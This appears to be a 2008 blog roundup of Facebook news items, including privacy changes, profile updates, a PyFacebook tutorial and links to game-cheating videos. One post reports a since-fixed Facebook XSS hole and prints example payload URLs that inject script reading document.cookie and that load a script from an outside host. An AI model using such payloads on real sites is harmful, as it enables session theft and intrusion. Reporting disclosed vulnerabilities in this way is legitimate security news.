Facebook News: Google’s “Friends Connect” suspended to Maintain User Privacy.

facebook_news_user_privacy.jpg

Facebook as decided to suspend applications like Google’s Friends Connect and MySpace’s Data Availability “to access to Facebook user information until it comes into compliance” announced Charlie Cheever on this 15 of May.

Charlie also added:

“We think MySpace’s Data Availability, Google Friend Connect, and Facebook Connect can be part of a great movement in the industry to give users a better and safer experience online, while respecting user privacy. We look forward to working with our developer community and everyone else in the industry to help all of our users take their information, and their privacy, with them wherever they go.”

Read more…

Facebook Hack: XSS Vulnerability (fixed on the 23/05/2008)

facebook_hack_xss_vulnerability.jpg

This new vulnerability uses a XSS (Cross-Site Scripting) technique to obtain sensitive information from Facebook users and even allows to execute malicious script code on the user computer.

xssed.com who announced (author: Mox) that vulnerability give you good samples of how it works.

Redirection sample:

http://www.xssed.com/mirror/34274/

or

Insertion in a hidden iframe:

http://www.facebook.com/jobs/position.php?st=%22%3E%3Ciframe%20src=http://xssed.com%3E%3C/iframe%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E

http://www.facebook.com/jobs/position.php?st=%3CSCRIPT%20SRC=//ha.ckers.org/.j%3E

According to Dimitris Pagkalos from xssed.com:

“I’m quite sure there are more cross-site scripting issues on Facebook. It is only a matter of time for the next one to be discovered by a security conscious individual.”

Read more…

Facebook News: The Improved Profile - Part IV

facebook_improvement_4.jpg

Facebook development is still in ebullition.

After the previous announcement of Facebook profile improvements in February, some of these improvements where confirmed last week.

These confirmed improvements concern:

1/ New feed stories: feed tab is front-and-center on users’ profiles (feed stories is going to continue to be a primary way users express themselves),  three sizes of stories (one line, short, and full), short stories will use templates, full stories will use FBML.

2/ Publisher: it allows users to add content such as text or photos, or rich content from any application such as music, videos, images, links, ….

3/ Application tabs: By default, there will be tabs on the user profile (Feed, Wall, Info, Photos, “Boxes). Users can add as many application tabs as they want (but up to 6 tabls can appear).

4/ Profile boxes: Existing wide and narrow profile boxes will now appear on a new Boxes tab (of 250 pixels in height) that every user can enable/disable on their profile.

5/ Application info sections: this new Info tab will allow users to express themselves in a more structured way than before.

Read more…

Facebook Developers news: No More Support For the Official Java Client Library.

Since yesterday, Facebook does not support the official JCL anymore.

James Leszczenski wrote:

“…,there has a great deal of enthusiasm regarding Platform application development in a huge array of programming languages, resulting in the creation of numerous unofficial client libraries.”

and “To this end, we have decided to discontinue support for our official Java client library, and rely on the existing community-driven libraries to fill this gap.”

Read more…

Facebook + iPhone + WeFi: Would George Orwell Have Thought About That?

facebook_iphone_wefi.jpg

 

Technology becomes more and more powerful for our best pleasure. We pay for it so we deserve it. :-) After the apparition of GSM, Internet, GPS, … now there is even better and just for free.

 

If you have an iPhone or a WiFi PDA, combined with your Facebook account and the WeFi application,this will let you pin-point your location and see where your friends are currently connected.

 

Isn’t that great?!

You will find more information on the WeFi website.

 

Link to the Facebook WeFi app.

Facebook Tutorial: Python for Facebook or PyFacebook tutorial

facebook_pyfacebook.jpg

In this tutorial provided by the facebook developers website, you will learn to use the pyfacebook interface which is a Python interface to the Facebook API.

 

When uploaded and installed, you just need to the call the new interface in your scripts by adding a line at the top of your script like:

import facebook

And you may enjoy the facebook functions directly. For example:


fb = facebook.Facebook('YOUR_API_KEY', 'YOUR_SECRET_KEY')

or
fb.auth.createToken()
or even
fb.login()

fb.auth.getSession()

For instance Following is a code sample:

import facebook

api_key = 'YOUR_API_KEY'
secret_key = 'YOUR_SECRET_KEY'
session_key = 'YOUR_SESSION_KEY'

fb = facebook.Facebook(api_key, secret_key)
fb.session_key = session_key

fb.profile.setFBML('Woot!‘, ‘USER_ID‘)

You may even use Pyfacebook with Django (a Python Web framework).

 

If you don’t know yet how to program with Python, you will probably want to learn it so easy it is to integrate!

Source page

Facebook Hacks: How to Hack Applications like Tetris Blockstar

This 4′51” video shows us how to hack an application like Tetris Blockstar using a soft like CheatEngine.

 

For the one who doesn’t know, Cheat Engine is a tool designed to give you the upper hand in games, but also contains other usefull tools to help debugging games and even normal applications.

Facebook News: Adobe Flash Player Updates May Affect Facebook Applications

anna_150.jpg

At the beginning of this month, Adobe informed Facebook that their new security update (planned for April 2008) can potentially break Facebook platform applications that use Flash.

 

You should be concerned if you are in one of the following situations:

- You use sockets or XMLSockets

- You use addRequestHeader or URLRequest.requestHeaders

- You provide access to content on remote domains

- You have SWF’s that are exported for Flash Player 7 or earlier

- You use “javascript” through network APIs to communicate outside a SWF

The full article about the update at Adobe site can be found here.

Read more…

Facebook Video: An Interview of the Official Facebook’s Founder Mark Zuckerberg

On this 5′58” video, you will hear an interview, made in January 2008 on “60 Minutes”, of Mark Zuckerberg, the founder of the social networking website Facebook.

Facebook Video: How to Hack the Facebook “Moods” Application

In this 52 seconds video, you will learn how to hack the facebook Moods application.

All you need is:
- a facebook account (with the moods application installed)
- the Firefox browser
- the Firebug extension
- and 52 seconds of your time to die less stupid